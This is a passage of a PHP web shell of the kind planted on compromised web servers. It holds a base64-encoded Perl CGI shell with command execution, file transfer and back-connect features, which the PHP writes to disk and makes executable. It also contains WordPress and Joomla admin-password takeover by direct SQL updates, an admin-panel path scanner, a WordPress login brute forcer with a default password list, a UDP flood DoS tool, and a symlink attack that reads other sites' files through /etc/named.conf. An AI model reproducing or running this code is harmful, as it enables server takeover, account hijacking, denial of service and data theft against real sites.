0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00FFFF>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00FFFF>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00FFFF>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="red">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /red -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FFFF;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FFFF;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='red'>".$username."</font>] : Password : [<font color='red'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00FFFF' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
